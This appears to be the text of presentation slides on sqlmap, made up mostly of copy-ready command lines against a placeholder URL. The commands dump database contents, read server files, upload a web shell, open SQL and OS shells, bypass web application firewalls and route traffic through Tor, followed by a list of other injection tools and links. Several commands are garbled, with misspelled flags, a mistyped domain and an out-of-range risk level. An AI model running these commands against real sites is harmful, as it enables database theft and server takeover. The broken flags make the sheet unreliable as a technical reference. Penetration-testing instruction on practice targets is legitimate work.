  • 23.  Identify current database: sqlmap -u http://example.com/page.php?id=1 --current-db  Extract tables: sqlmap -u http://example.com/page.php?id=1 -D database --tables  Extract columns: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name --columns  Dumping data: sqlmap -u http://example.com/page.php?id=1 –D database -T table_name -C colum_names --dump  Multitreading: sqlmap -u http://example.com/page.php?id=1 --dbs --threads 5  Null-connection: sqlmap -u http://example.com/page.php?id=1 --dbs --null-connection  HTTP persistant connection: sqlmap -u http://example.com/page.php?id=1 --dbs --keep-alive  Output prediction: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name -C column_names --dump –predict- output  Checking privilages: sqlmap -u http://example.com/page.php?id=1 --privileages
  • 24.  Reading files from the server: sqlmap -u http://example.com/page.php?id=1 --file-read=/etc/users  Uploading files/shell: sqlmap -u http://example.com/page.php?id=1 --file-write=/root/shell.php --file-dest=/var/www/shell.php  SQL shell: sqlmap -u http://example.cpm/page.php?id=1 --sql-shell  OS shell: sqlmap -u http://example.com/page.php?id=1 --os-shell  OS command exe without shell upload: sqlmap -u http://example.com/page.php?id=1 --os-cmd “username-a”  Using proxy: sqlmap --proxy=“127.0.0.1:8080” -u http://example.com/page.php?id=1 --dbs  Using proxy with credentials: sqlmap --proxy=“127.0.0.1:8080” --proxy-cred=username:password -u http://example.com/page.php?id=1  Crawling: sqlmap -u http://example.com/ --crawl=1
  • 25.  Exploitation in verbose mode: sqlmap -u http://example.com/page.php?id=1 -v 3  Bypassing WAF(web application firewall): sqlmap -u http://example.com/page.php?id=1 --tamper=apostrophemask  Scanning key based authentication page: sqlmap -u http://example.com/page.php?id=1 --auth-file=  To use default TOR network: sqlmap -u http://example.com/page.php?id=1 --tor  Scanning with high risk and level: sqlmap -u http://example.com/page.php?id=1 --level=3 --risk=5
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.  Metasploit  Acunetix  Netsparker  Intruder  Beagle Security  Appknox  Sqlninja  Detectify Deep Scan  Havij  BBQSQL  Leviathan  WhiteWidow  Jsql  Sqlmate  Pybelt
  • 33.  https://sqlmap.org/  http://testphp.vulnweb.com/listproducts.php?cat=1  https://owasp.org/  https://www.g2.com/products/sqlmap/competitors/alternatives  http://example.com/page.php?id=1